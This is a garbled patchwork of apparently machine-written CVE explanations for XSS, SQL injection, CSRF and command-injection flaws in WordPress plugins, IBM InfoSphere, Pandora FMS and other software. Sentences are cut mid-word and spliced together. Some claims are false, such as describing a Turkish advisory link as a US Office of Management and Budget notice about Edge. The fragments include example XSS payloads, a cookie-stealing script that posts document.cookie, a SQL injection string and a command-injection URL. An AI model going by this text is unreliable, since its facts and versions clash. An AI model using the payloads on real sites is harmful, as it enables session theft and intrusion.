
plication if users are redirected to malicious websites.

Oce46e84d70

isn't properly validated, an attacker can craft a link such as `https://vulnerable-website.com/login?ref=endarinho/commit/9a0174bef939565a76cbe7762996ecddca9ba55e`, <https://github.com/Cainor/Calei>. Webhooks are enabled. The platform failed to verify if a URL was local, thus allowing authenticated users to that commit or later versions which include the fix.

rify whether a URL was local or not when webhooks were used, this could potentially allow attackers to take steps for users to protect their instances from this vulnerability.

x ('22bd5942') or to a later version that includes the necessary changes.

published by GitHub Security Lab ([https://securitylab.github.com/advisories/GHSL-2023-185\\_posthog/](https://securitylab.github.com/advisories/GHSL-2023-185_posthog/)) services from the PostHog server, potentially gaining access to sensitive information, interacting with the vulnerability specifically affected the Twig template engine, allowing an authenticated backend user to do so. Once they have access, they could potentially write and execute Twig code that takes advantage of it to mitigate the risks associated with the vulnerability.

rtials. The user could exploit the vulnerability by crafting malicious Twig code, which when processed normally allow a user to modify the CMS pages, layouts, and partials, but would not grant the ability to do so. <https://octobercms/october/security/advisories/GHSA-p8q3-h652-65vx>. This page offers a comprehensive explanation of how specific permissions can bypass restrictions (despite `cms.safe\_mode` being enabled) and execute arbitrary code in October CMS.

bitrary code execution. This could potentially lead to unauthorized data access, data manipulation, or

execute PHP code in CMS templates when `cms.safe\_mode` is enabled.

structing a specially crafted request embedding PHP code within a CMS template (like a page, layout, or <https://advisories/GHSA-q22j-5r3g-9hmh>)

ackend user activities to ensure no malicious actions have occurred.

ode into the Web UI, potentially leading to the disclosure of credentials within a trusted session.

ious JavaScript code into the application's web interface, potentially altering its functionality and revealing user credentials and the IBM X-Force Exchange website.

[exchange.xforce.ibmcloud.com/vulnerabilities/269506](https://exchange.xforce.ibmcloud.com/vulnerabilities/269506)).

I and capture session data, which might include usernames, passwords, or session tokens.

In InfoSphere Information Server's web interface, the code executes within the context of the user's session, injecting script code into the Web UI, which may compromise the integrity of the web application by potentially impacting the intended functionality of the application and potentially result in the disclosure of user credentials.

'938' and the IBM Support page at '<https://www.ibm.com/support/pages/node/7074335>'.

hile they are logged into IBM InfoSphere Information Server. The malicious code executes in the context, by manipulating the content or behaviour of the web pages, leading to unauthorized actions or da  
ers to inject arbitrary JavaScript code into the Web UI, potentially leading to unauthorized disclosure of Web UI, which can alter the functionality of the website and lead to the theft of session cookies or other. <https://ibmcloud.com/vulnerabilities/265504> and <https://www.ibm.com/support/pages/node/7070755>.

has an active session with IBM InfoSphere Information Server 11.7, clicks the link, the JavaScript code \  
ection measures like validating and sanitizing user input, utilizing Content Security Policy (CSP) header

credentials within a trusted session.

at <https://www.ibm.com/support/pages/node/7067704>.

put = document.location.search.substring(1); document.write('Welcome ' + userInput + '!');</script>```  
iting the compromised page. When the user's browser renders the page, the malicious JavaScript exec

urity of the application and its data.

[ge.xforce.ibmcloud.com/vulnerabilities/260585](https://xforce.ibmcloud.com/vulnerabilities/260585).

osphere Information Server user, performs an unauthorized action on the server, such as changing a password or these tokens with each state-changing request is another common mitigation strategy. It is recommended to update macOS Sonoma 14.1.2, and Safari 17.1.2. The issue involves improved locking to prevent the vulnerability. iOS 17.1.2, iPadOS 17.1.2, macOS Sonoma 14.1.2, and Safari 17.1.2, are affected by CVE-2023-4295. If an attacker gains access to an affected device, gain access to sensitive information, or execute unauthorized actions, thereby updating macOS Sonoma 14.1.2, and Safari 17.1.2 to protect their devices against this vulnerability.

The Fedora Project mailing list, the Apple support website, and Debian's security advisories. These sources often allow the execution of arbitrary code. An attacker could use this to gain unauthorized access, especially if the exploit is publicly available to prevent further abuse. However, the underlying principles involve manipulating web content that was present in previous versions of Apple's software and could potentially lead to the disclosure of sensitive information. It is recommended to update macOS Sonoma 14.1.2, and Safari 17.1.2.

If exploited successfully.

Devices mentioned are iOS 17.1.2, iPadOS 17.1.2, macOS Sonoma 14.1.2, and Safari 17.1.2.

Debian security advisory, and Fedora's package announcement list. Links to these resources can be found in the "References" section.

Access sensitive data from a victim's device memory that is not intended to be disclosed. This could lead to data leakage. To mitigate this vulnerability, users can ensure that their systems are safeguarded against attacks that specifically target them.

Path traversal, authentication bypass, or access to restricted files by a remote attacker.

v.aquaforest.com/blog/aquaforest-tiff-server-sunsetting- https://www.aquaforest.com/blog/tiff-server-sunsetting-. If such navigation is possible, the attacker might

WordPress. This flaw allows for the injection of arbitrary web script or HTML via user input that is improp

ugin-1-25-9-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
cker might use a URL like: `http://example.com/?search=%3Cscript%3Ealert('XSS')%3C/script%3E`. Wh  
if users click on these links, the script would run in the context of their browser session. The attacker c  
lead to the execution of malicious script in the context of a user's browser when viewing a compromis

post a comment or use a form that accepts user input and stores it without proper sanitization. These :  
ress-salient-core-plugin-2-0-2-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
or updates from the Theme nectar Salient Core team and apply any updates to mitigate the vulnerabil  
es the compromised content. The impact varies depending on the application's use case and the natur

ty allows attackers to execute reflected XSS attacks against users.

te-scripting-xss-vulnerability?\_s\_id=cve  
owser session on the affected website. The attacker could steal cookies, session tokens, or sensitive inf  
ode executes due to the plugin's inability to properly sanitize the input. For instance, a URL might look

y craft a URL with the malicious script as part of the query parameters, which, when visited by a user, e  
lugin-6-2-6-0-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
on this link, which directs them to the affected web page of the PeepSo Community plugin. Upon loadi  
im=<script>alert('XSS');</script>'. When a user accesses this URL, the script inside the parameter woul  
e Generation ('Cross-site Scripting') vulnerability, which is also known as a Stored XSS vulnerability.

bile-pages-plugin-1-0-88-1-cross-site-scripting-xss-vulnerability?\_s\_id=cve.

he injected code executes within their browser, potentially leading to data theft, session hijacking, phis-  
to fields that accept user input. For instance, if the plugin fails to sanitize input in a comment form, a similar  
vulnerability affects the WebDorado SpiderVPlayer plugin for WordPress, versions from the initia-

web pages served to other users.

In these compromised web pages, the malicious code executes in their browsers, potentially leading to u-

xss-vulnerability?\_s\_id=cve.

XSS');</script>'. If the input is stored and later displayed to other users without proper sanitization, the

an application takes untrusted data and sends it to a web browser without proper validation or escap-

-site-scripting-xss-vulnerability?\_s\_id=cve

d page, the code could execute in their browser, leading to session hijacking, theft of sensitive information, or submit something like: `<script>alert('XSS');</script>` as part of a post. If the plugin displays this input dir-

site-scripting-xss-vulnerability?\_s\_id=cve

us attack scenarios such as stealing session cookies, manipulating webpage content, phishing attacks, or could lead to embedding malicious script in a form field:

input is not properly sanitized and escaped by the plugin, the script could then be executed in the browser' or 'Stored XSS'. This vulnerability affects Perfatters versions earlier than 2.2.0 and allows an attac-

ited in the browsers of users who view the compromised web page.

d-cross-site-scripting-xss-vulnerability?\_s\_id=cve

base. For example, the attacker might create a comment or a user profile containing a script tag, like '

pt> where the parameter 'param' is improperly sanitized, resulting in the JavaScript code being executed for WordPress. It is a Stored XSS vulnerability which affects wpForo Forum versions up to and including 2.2.3.

[https://patchstack.com/database/vulnerability/wpforo/wordpress-wpforo-plugin-2-2-3-cross-site-scripting-vulnerability?\\_s\\_id=cve](https://patchstack.com/database/vulnerability/wpforo/wordpress-wpforo-plugin-2-2-3-cross-site-scripting-vulnerability?_s_id=cve). This reference provides detailed information about the vulnerability and how it can be exploited.

and view the infected content, the malicious script could execute in their browsers. This could lead to a Stored Cross-site Scripting (XSS) vulnerability. XSS vulnerabilities are security flaws that allow malicious scripts to be injected into a website's content.

becomes available.

ks, including stealing of cookies, session tokens, personal data, defacing the website, or using the victim's account sections, or any other data input features that are improperly sanitized. This content then gets injected into the page via the URL: [https://patchstack.com/database/vulnerability/wpforo/wordpress-mycred-plugin-2-6-1-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://patchstack.com/database/vulnerability/wpforo/wordpress-mycred-plugin-2-6-1-cross-site-scripting-xss-vulnerability?_s_id=cve). Additionally, users should

s plugin.

[https://patchstack.com/database/vulnerability/wordpress-tainacan-plugin-0-20-4-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://patchstack.com/database/vulnerability/wordpress-tainacan-plugin-0-20-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve). This reference provides detailed information about the vulnerability and how it can be exploited.

#### 1.0.4-reflected-cross-site-scripting-xss-vulnerability

In this vulnerability, an unsuspecting user clicks on a link that contains malicious JavaScript code. When the user clicks on the link, the JavaScript executes in the context of their session, potentially directing the victim to malicious sites, or even potentially gaining control of the victim's user account on the website.

This vulnerability is caused by a lack of proper sanitization of user input during the generation of web pages.

It affects versions of Q2W3 Post Order up to and including 1.2.8.

This vulnerability has been addressed in version 1.2.8 of the Q2W3 Post Order plugin.

When a victim visits the crafted URL, the script would execute in their browser, potentially leveraging the plugin's access to vulnerability databases for the latest patch information and update their Q2W3 Post Order plugin accordingly.

This vulnerability is a type of Cross-site Scripting (XSS) attack.

An attacker could potentially inject malicious scripts into the web page's content.

An attacker could potentially craft malicious links that, when visited by a user, could steal cookies or sensitive information.

[https://patchstack.com/database/vulnerability/wordpress-q2w3-post-order-plugin-1-2-8-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://patchstack.com/database/vulnerability/wordpress-q2w3-post-order-plugin-1-2-8-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve). This reference provides detailed information about the vulnerability and how it can be exploited.

This vulnerability exists in the SoundCloud Shortcode, a plugin used with SoundCloud's service. The affected version is 5.6.4.

cation's database.

tion. When this comment is displayed to other users, the code is executed in their browsers. For CVE-21 compromised content. This could potentially lead to actions performed on behalf of the user, data the | Shortcode plugin. For example, they could submit a shortcode containing the script through a form, c

[https://soundcloud-shortcode-plugin-3-1-0-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://soundcloud-shortcode-plugin-3-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve)

fter such disclosures, and users should check for any updates beyond version 3.1.0 or follow guidance lead to Cross-site Scripting (XSS) attacks. This flaw could potentially allow an attacker to execute arbitrary code on the victim's system.

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3524>, and the Nozomi Networks blog at <https://www.nozominetworks.com/blog/cross-site-scripting-vulnerability-in-wordpress-affiliate-toolkit-plugin>

without proper sanitation: [https://vulnerable.site/page?input=<script>evil\\_code\(\)</script>](https://vulnerable.site/page?input=<script>evil_code()</script>). When an attacker injects malicious code ('evil\_code()'), which could allow an attacker to perform cross-site scripting (XSS) attacks against another user.

nteracts with this interface, the script executes in their browser session, potentially allowing the attacker to perform a Cross-site Scripting (XSS) issue, where improper neutralization of input during web page generation allows for an XSS attack.

interacts with this interface, the script executes in their browser session, potentially allowing the attacker to perform a Cross-site Scripting (XSS) issue, where improper neutralization of input during web page generation allows for an XSS attack.

<https://wp-starter/wordpress-affiliate-toolkit-plugin-3-4-3-reflected-cross-site-scripting-xss-vulnerability>.

the publication of a CVE to minimize the risk of exploitation.

<https://wp-starter/wordpress-affiliate-toolkit-plugin-3-4-3-reflected-cross-site-scripting-xss-vulnerability>. If the web application fails to sanitize the 'input' parameter, this particular vulnerability affects the POWR.io Contact Form – Custom Builder, Payment Form, and More, even if they are not explicitly named but are part of the 'and More' aspect of the affected range.

When visitors interact with these compromised pages, the malicious script is executed in their browser session. This script could steal sensitive information such as login credentials or metrics.

[https://wp-starter/wordpress-affiliate-toolkit-plugin-3-4-3-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://wp-starter/wordpress-affiliate-toolkit-plugin-3-4-3-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve)

The vulnerability within POWR.io Contact Form – Custom Builder, Payment Form, and More allows for an XSS attack if the 'input' parameters are not properly sanitized. In addition, conducting a security audit and implementing proper input validation and sanitization can help prevent such attacks.

[scripting-xss-vulnerability?\\_s\\_id=cve](#)

on this page, the injected script would execute, potentially allowing the attacker to steal cookies, session data ('XSS');

`</script>`. When the data is saved and then displayed without proper sanitization to other users, it could lead to a cross-site scripting vulnerability.

The plugin called Molongui Author Box, Guest Author and Co-Authors for Your Posts. This vulnerability was first released up to 4.6.19 is potentially at risk.

time a user accesses the compromised content.

defacing the website; redirecting users to malicious websites; and potentially gaining control over the site.

`pe='text/javascript'> // Malicious payload here document.cookie = 'steal=' + document.cookie; var xhttp = new XMLHttpRequest(); xhttp.open('POST', '/wp-content/plugins/molongui-author-box-for-authors-co-authors-multiple-authors-and-guest-authors/molongui-plugin-4-6-19-cross-site-scripting'); xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhttp.send('steal=' + document.cookie);`

This vulnerability has not been patched, consider disabling or removing it until a security update is available. Additionally, the initial release up to version 1.2.6.

[login-1-2-6-cross-site-request-forgery-csrf-vulnerability?\\_s\\_id=cve](#)

g or performing an action without their consent or knowledge. This usually occurs when a malicious user visits a WordPress site while logged in to their WordPress dashboard, the CSRF vulnerability can be exploited to perform actions on behalf of authenticated users without their consent, potentially leading to unintended consequences.

[administrator-woocommerce-email-customizer/wordpress-decorator-woocommerce-email-customizer-plugin](#)

In this case, if a WooCommerce store administrator is targeted, such a request could potentially alter plugin settings or data.

presumably includes a patch for the issue. Additionally, website administrators can employ anti-CSRF measures such as token-based authentication or rate limiting.

[scripting-xss-vulnerability?\\_s\\_id=cve](#)

proper sanitization, such as a comment or feedback form. For instance:

`<script>alert('XSS');//</script>`

If this code is executed in the context of other users' browsers, it could lead to session hijacking, defacement of the website, or other malicious activities.

This particular vulnerability affects the WordPress plugin Evergreen Content Poster, versions up to all versions prior to 1.3.6.1.

### ..3.6.1.

unwanted actions like stealing user session tokens or login credentials, defacing web sites, or redirecting users to malicious URLs. Such an attack could lead to session hijacking, defacement of the website, or other malicious activities.

This particular vulnerability affects the WordPress plugin Evergreen Content Poster, versions up to all versions prior to 1.3.6.1. This vulnerability was first released up to 1.3.6.1-cross-site-scripting is potentially at risk.

The plugin allows administrators to view and edit content from the WordPress dashboard or directly on the website. If the content is not properly escaped or encoded, it could be injected into the database or displayed on the website, potentially leading to a cross-site scripting vulnerability.

This vulnerability has not been patched, consider disabling or removing it until a security update is available. Additionally, the initial release up to version 1.3.6.1.

XSS.

[ite-scripting-xss-vulnerability?\\_s\\_id=cve](#)  
into the web application's database. When other users, including site administrators, view the pages with  
an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting' or XSS) vulnera  
lugin. When other users view the manipulated content, the malicious script executes in their browser,

[site-scripting-xss-vulnerability?\\_s\\_id=cve](#)  
er the affected user's account or even the entire web application if administrative credentials are compr  
ld consider disabling the plugin until a patch is provided or seek alternative solutions that are not vuln  
ampaign Monitor plugin for WordPress, specifically versions up to and including 2.8.12.

[gn-monitor-for-wordpress-plugin-2-8-12-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)  
on the URL. The attacker might deceive the victim into clicking the link through phishing or embeddin  
le of the affected plugin or details provided in the references.

[ss-Site Scripting \(XSS\) flaw, where improper neutralization of user input during web page generation a](#)

[means that the malicious script is stored on the target server and executed when the stored data is re  
s, manipulating web page content, redirecting users to malicious websites, or even conducting phishing.  
ld upgrade to a version later than 8.14.1.](#)

[tro-plugin-8-14-1-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve.](#)  
be stored on the website's server. When another user (like an admin) views the relevant page where  
and exploitability of the vulnerability.

[ast Custom Social Share by CodeBard WordPress plugin, affecting versions up to 1.1.1. The vulnerabilit](#)

[payload is rendered. For example, an attacker could submit a comment or a post that includes a script  
ocial-share-by-codebard-plugin-1-1-1-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

↳ clicked. The malicious script could steal cookies, session tokens, or other sensitive information reflected in the URL. [Job Application Plugin Reflected Cross-Site Scripting \(XSS\) Vulnerability](#) (`?_s_id=cve`)

Inherable to XSS and when the page is loaded, the script tag in the URL is executed as part of the webpage. When a user clicks on the link, the script runs within their browser. If the user is logged in to the WordPress website.

↳ in the eDoc Intelligence eDoc Employee Job Application – Best WordPress Job Manager for Employees

[Job Application Plugin Reflected Cross-Site Scripting \(XSS\) Vulnerability](#) (`?_s_id=cve`)

↳ hijacking, phishing, or altering the appearance of the webpage to collect sensitive information from the user. By using the vulnerable plugin, the JavaScript code executes within their browser. The attacker can then

↳ the malicious script is injected and then permanently stored on the target server, database, or other location.

↳ import-spreadsheets-from-microsoft-excel-plugin-10-1-3-cross-site-scripting-xss-vulnerability?\_s\_id=cve

↳ import Spreadsheets from Microsoft Excel application, the payload would be executed. For example, an instance of the XSS, the attack could repeatedly affect users visiting the compromised web page, potentially exploiting the vulnerability. Additionally, organizations should implement content security policies and input validation, that was found in the Howard Ehrenberg Parallax Image plugin for WordPress. Versions of the plugin allow for injection of malicious scripts into session tokens, cookies, or sensitive information.

↳ half of users, steal user data, or deface web pages.

↳ . The attacker's code is then rendered without proper sanitization when other users view the compromised page. This can compromise user input. For example, if the plugin allows users to enter image descriptions, the attacker might

[Job Application Plugin Reflected Cross-Site Scripting \(XSS\) Vulnerability](#) (`?_s_id=cve`)

↳ updates or regularly monitor the official plugin page or security advisories for solutions.

↳ ap Shortcodes Ultimate WordPress plugin. It allows for a Stored Cross-Site Scripting (XSS) attack. The attack is triggered when a user views a post containing malicious code.

↳ viewed by other users, the malicious scripts can be executed in their browsers, leading to various potential attacks. For example, the attacker might submit a comment that includes a script tag `<script>alert('XSS');</script>`. If the plugin is not patched, it can lead to a Stored Cross-Site Scripting (XSS) attack.

↳ available, it is advisable to disable or remove the plugin until a patched version is released. Additionally, it is important to keep the plugin updated with the latest security patches.

vulnerable plugin. This is possible because of improper handling of user input that leads to Stored Cross-Site Scripting (XSS) vulnerability?\_s\_id=cve

Another user views the compromised page, the attacker's script is executed in their browser. This could be exploitation of a vulnerability, which are formally summarized in the Base Score.

XSS which is where the injected script is permanently stored on the target servers, such as in a database

; session cookies, manipulating webpage content, or redirecting the user to malicious websites. This st

and its mitigation can be found at the following URLs: - <https://patchstack.com/articles/authenticated-de>. For example:<script>alert('XSS');</script>When another user, such as an administrator, views the page, such as a review, comment, or product description. If the submitted content isn't properly sanitized, it's only known as Cross-site Scripting (XSS). This particular XSS vulnerability affects all versions of Elementor.

her users, the script would execute in their browsers, leading to cross-site scripting (XSS).

, modifying web page content, or redirecting users to malicious sites. The severity of the impact depends on how the user interacts with the infected pages to potential victims, or embedding the malicious scripts in advertisements. [https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-16-4-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-16-4-cross-site-scripting-xss-vulnerability?_s_id=cve) has been updated to protect against known vulnerabilities.

ck – WP Security, Backup, Speed, & Growth plugin for WordPress.

=cve- [https://patchstack.com/database/vulnerability/jetpack/wordpress-jetpack-plugin-12-8-a-1-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://patchstack.com/database/vulnerability/jetpack/wordpress-jetpack-plugin-12-8-a-1-cross-site-scripting-xss-vulnerability?_s_id=cve) potentially compromising the security and integrity of websites using the affected plugin versions.

could submit a comment or a form input containing a script tag: `<script>/\* malicious code \*/</script>`.

The score that the score is either pending calculation or not disclosed at the time of the information.

e Generation,' which is a type of Cross-Site Scripting (XSS) vulnerability that allows for stored XSS attacks.

stealing session cookies, redirecting to malicious sites, defacing the website or manipulating the content once they are reported. Website administrators should check for updates to the Simple Long Form WordPress plugin. If the code is not properly sanitized, the code could be stored in the website's database. When other users then view pages

?\_s\_id=cve

simply Exclude plugin designed by Paul Menard for WordPress. This Reflected XSS vulnerability affects versions of the plugin that have not been correctly neutralized, allowing it to be rendered as executable script code in the generated web page of a web server, such as in a search result or error message, and executed in a user's browser. This can be demonstrated by visiting a URL like [http://example.com/page?user\\_input=<script>alert\('XSS'\);</script>](http://example.com/page?user_input=<script>alert('XSS');</script>) where 'user\_input' is a parameter that contains the injected script. The score is pending calculation, indicating that the potential impact of a vulnerability. Since there is no Base Score mentioned, organizations are advised to refer to the official documentation for more details about the vulnerability and how to mitigate it.

The nature of the vulnerability, affected versions, and any known mitigations.

This vulnerability exists in PT Trijaya Digital Grup's TriPay Payment Gateway software versions up to 3.2.7, which

ies, such as stealing session cookies, defacing websites, redirecting users to malicious sites, or even pe

ess-tripay-payment-gateway-plugin-3-2-7-cross-site-scripting-xss-vulnerability.

It is stored and later displayed on the web interface without proper sanitization, it could execute in the pt user data. For example, the attacker might submit a payment form that includes a script tag with a .

Icons WordPress plugin. This vulnerability allows attackers to inject and store malicious scripts on we

ess-easy-social-icons-plugin-3-2-4-cross-site-scripting-xss-vulnerability?\_s\_id=cve

other users view the compromised areas of the site, the script executes in their browsers, potentially | ware version V5.21(ABAG.11)C0. This vulnerability could allow an unauthenticated attacker to execute 326 and V5.21(ABAG.11)C0 for NAS542.

ted attacker can inject and execute operating system commands. This could lead to unauthorized acce

abilities (<https://bugprove.com/knowledge-hub/cve-2023-4473-and-cve-2023-4474-authentication-by-ice/path?cmd=ls>'. Note that the exact format of the URL would depend on the specific details of the vi us software, and disruption of operations. In extreme cases, it could result in the attacker gaining com sholders understand the impact and urgency related to this vulnerability. Users seeking this informatic

with NETGEAR ProSAFE Network Management System installed.

alation-on-the-NMS300-PSV-2023-0127- Tenable Research: <https://www.tenable.com/security/researc>

icious JSP file in the appropriate Tomcat web application directory. Once the JSP file is executed via a w ccess to the media manager. This vulnerability has implications for the integrity and security of the CM's pting code. Once the file is stored, any other user who accesses the media manager and interacts with uInerability.

f the XSS attack to other users within the same environment. It compromises the security and trustwo hub.com/octobercms/october/commit/b7eed0bbf54d07ff310fcdc7037a8e8bf1f5043b- <https://github>. the CMS and then that script is executed in another user's browser when they access the compromised to steal credentials, and the distribution of malware. Such exploits compromise the security of both th aefted payload into the Document Properties field via the specified URL endpoint.

ajax=1&lang=cn. When this injected script is executed, it can lead to unauthorized actions being perfor

mation from users who inadvertently execute the malicious script.

erties field through the specified URL endpoint. If the application improperly sanitizes user input, the n revent the injection of malicious scripts, and consider implementing Content Security Policy (CSP) as a

acing the website to distribute the attacker's propaganda, or phishing by injecting fake log-in forms to ML by injecting a crafted payload into the Field Title field accessible at the URL /login.php when the pa d&a=arctype\_add&\_ajax=1&lang=cn). Once the script is stored, it can be executed in the browser of a

, especially in fields that accept HTML or scriptable content, to prevent injection of malicious scripts. to provide details about the vulnerability and possibly steps to reproduce the issue or discussions ar d content. This can lead to a range of malicious activities including stealing cookies, session tokens, or s the severity and impact are further analyzed.

against this vulnerability.

a crafted payload into the Menu Name field accessible at /login.php?m=admin&c=Index&a=changeTa data theft, session hijacking, or other web-based exploits.

ews the affected area in the admin panel, the script executes in their browser. This can lead to stealing Content-Type allowlist bypass that could potentially lead to Cross-Site Scripting (XSS) attacks. It is caused t serious content, which when rendered in a browser, may lead to XSS attacks. This is due to the 'allowlist

ress the Content-Type allowlist bypass issue. It is important for users to keep their CarrierWave gem u 3b5 and 863d425c76eba12c3294227b39018f6b2dccbbf3), and the CarrierWave security advisory (GH! alicious payload. Since the `allowlisted\_content\_type?` method performs a partial match, it might inc erosion of CarrierWave. Such attacks can lead to unauthorized access to user data, session hijacking, an

city of vulnerabilities.

note attacker to potentially exploit heap corruption through a specially crafted HTML page. The severi the risk associated with this vulnerability.

n outdated version of Google Chrome. When a victim visits this malicious page, the attacker could pot systems, and remediation should be prioritized accordingly.

1. These references are often provided alongside the vulnerability details and can offer additional insig where Jetty uses `org.jolokia.http.AgentServlet` to handle requests to `/api/jolokia`, an attacker could c involve a malicious actor who first gains legitimate authentication to Jolokia. Then they could proceed . The default ActiveMQ distribution has been updated to include a more restrictive configuration of Jo T requests containing crafted JSON payloads that leverage the `FlightRecorderMXBeanImpl` class to ex v.openwall.com/lists/oss-security/2023/11/28/1), the official ActiveMQ security advisory (<https://acti>

JII. This vulnerability arises due to inadequate input validation and output encoding in the web adminis

it within the device administrator user profile fields in the web interface. When any user accesses the '

f the PAC Device. These scripts may remain dormant until an unsuspecting user accesses the GUI, whic robust input validation checks and proper output encoding to prevent the execution of any malicious : use a Denial-of-Service (DoS) condition. The application is vulnerable when it uses Spring MVC or Sprin

classpath.

requests to the vulnerable application. These requests could be designed to consume system resources, leaking, and exposing operational information through endpoints over HTTP or JMX. However, its preser

nerability specifically affects applications that utilize Spring MVC or Spring WebFlux, have `io.microme Registry is set up to record observations. This is often the case for Spring Boot applications that include

nditions outlined. If successful, the attacker could induce a DoS condition, effectively causing the application located at `/main/inc/lib/javascript/bigupload/inc/bigUpload.php`. This vulnerability allows users without authentication. The uploaded file, if executable by the server, can then be accessed by the attacker to remote code execution (RCE), where the attacker can run arbitrary code on the affected server, p

ers of Chamilo LMS should update to a version that includes the patch for this CVE.

abs, or check the security issues documentation on the Chamilo support website. The supplied referer System) is not provided in the submitted details. Typically, vulnerabilities that allow remote code exec in all versions up to and including 5.13.3. This vulnerability is caused by insufficient input sanitization will run in the context of the user's browser, potentially leading to unauthorized access to user session:

Jltimate plugin.

</script>], into a post or page. Upon saving, if the data isn't properly sanitized and escaped, the malici at the WordPress plugin's Trac page and through security advisories from sources like Wordfence.

ce code and the changeset where the specific revisions made to fix the vulnerability can be examined. nd that back-office users could access information about Customer and Customer User menus, which t ability.

ries/GHSA-8gwj-68w6-7v6c

mation, which they could normally not due to insufficient security checks in the application's Access C rability allows bypassing ACL restrictions, an attacker with back-office access could exploit this to view

le-vulnerabilities-in-firewalls-and-aps.

odifying the URL of the device's registration page. This could lead to further unauthorized actions, incl

1 input or URL parameter. For instance: ' OR '1'='1' --. This might result in unauthorized access to datab

KLive', and '<https://github.com/Chiaki2333/vulnerability/blob/main/32ns-KLive-SQL-user.php.md>'.

business information, or any other data stored in the affected database.

entication or the intended logic of the application, leading to unauthorized access or disclosure of sens

result in malicious scripts being executed in the context of the website, leading to data theft, session hi

er users visit the website, the stored JavaScript is executed in their browsers, which could allow the at  
e the following into an editable plugin option: `<script>alert('XSS');</script>` This simple JavaScript co

cker could locate and open log files generated by the Webconf component, which may inadvertently c  
nsitive data from being exposed in log files. Additionally, regular monitoring and auditing of log files fo  
autocomplete feature, which allows an attacker to inject HTML into a victim's page by creating a chan

pulate the appearance of the channel name or include interactive elements controlled by the attacker  
ite the severity of the vulnerability.

at have been provided by Mattermost. They should apply any relevant updates or configurations to pi  
attributes. For example, they might name the channel something like `<div style='color:red;'>Importa  
le. The attacker could disguise the channel name to look like legitimate interface elements, mislead us  
tacker can exploit this vulnerability by manipulating the `tld` parameter in `translateOptions`, potential  
nal network resources, leading to an SSRF attack that can potentially leverage HTTP GET-based vulnera  
at may be accessible only within the network, and bypassing access controls to conduct unauthorized  
nitigate the risk.

er, where the issue has been fixed.

Hub commit and the security advisory linked in the CVE references.

<https://github.com/vnjde/google-translate-api-browser/commit/33c2eac4a21c6504409e7b06dd16e6346f93d34b-> credentials to be accessed by unauthorized users.

etheus`, or by adding the specified configuration to the `application.yaml` file to restrict the exposure of sensitive credentials.

ase credentials. This could enable the attacker to compromise the database, manipulate workflow data, and potentially gain unauthorized access to the system.

the validation process of FIDO2 credentials in the webauthn registration feature. This vulnerability was introduced in version 700 of Pandora FMS and allows an attacker to register a FIDO2 credential without proper validation.

indicated by the commit referenced in the provided information.

re, denial of service (via application crash), or potentially gaining unauthorized access by compromising the system. Exploits for this vulnerability are typically discouraged from sharing exploit code for recent vulnerabilities to prevent malicious users from abusing them. The exploit code provided in the commit (f9d8c06aae8dfe17e761b18b577ff169e059e812) and the release notes for version 700 of Pandora FMS mention that it allows for the execution of arbitrary Javascript code in the browser context.

In this section, the injected code can be executed within their browsers, potentially leading to data theft, session hijacking, or other malicious activities. It is important to implement proper input validation and output encoding to prevent XSS attacks.

Exposures/

Scripting (XSS) issue. Due to this vulnerability, an attacker can inject and execute malicious Javascript code in the user's browser. If the script is not properly sanitized by the application, the script could be executed in the context of the user's session, potentially allowing an attacker to perform various attacks, such as phishing attacks, or even executing more sophisticated attacks based on the gained foothold within the user's session.

<https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/>.

Score, one should carefully read through the documentation provided in the references to understand how this vulnerability works. In a vulnerable text box widget on Pandora FMS, such as ``. This code is found in Pandora FMS and affects versions from 700 to 773. It allows low-privileged users to inject malicious scripts.

In this case where the translation string is rendered, the embedded JavaScript executes, potentially leading to the following:  
In an input form for translations on the user interface:  
User inputs the translation string: `<script>alert('XSS')</script>`.  
This vulnerability affects versions 700 through 773 of Pandora FMS and enables an attacker to

perform actions on their behalf without needing their login credentials.

input field. Once a user loads that infected page, the script executes in the user's browser context. For example, if the user enters '' into the search bar, the browser will execute this script.

This vulnerability can lead to the theft of session cookies. The attacker could then use this to hijack the user's session, effectively taking over the user's account as if they were the attacker. This is known as a Reflected Cross-site Scripting (XSS) issue. This vulnerability exists in versions up to 20231123 (as of November 2023).

As of the published date, there was no vendor acknowledgment or released patch for the vulnerability. An attacker could exploit this vulnerability to perform a range of malicious activities like stealing session cookies, personal data, performing actions on behalf of the user without their knowledge, or even take over their account. An example of such a payload might look something like this: [http://vulnerable-ecommerce.com/search?q=<script>alert\('XSS'\);</script>](http://vulnerable-ecommerce.com/search?q=<script>alert('XSS');</script>). However, it appears there is a typo in the provided reference link, which is <http://www.usom.gov.tr/bildirim/tr-23-0657>. This link points to a security advisory from the US Office of Management and Budget (OMB) regarding a vulnerability in Microsoft Edge. The advisory states that the vulnerability allows an attacker to execute arbitrary code on a user's computer with the vulnerable plug-in installed, potentially enabling arbitrary code execution or causing a denial of service. If the overflow manipulates execution flow, the attacker could execute arbitrary code, steal sensitive information, install malware, or disrupt services by causing the plug-in to crash repeatedly.

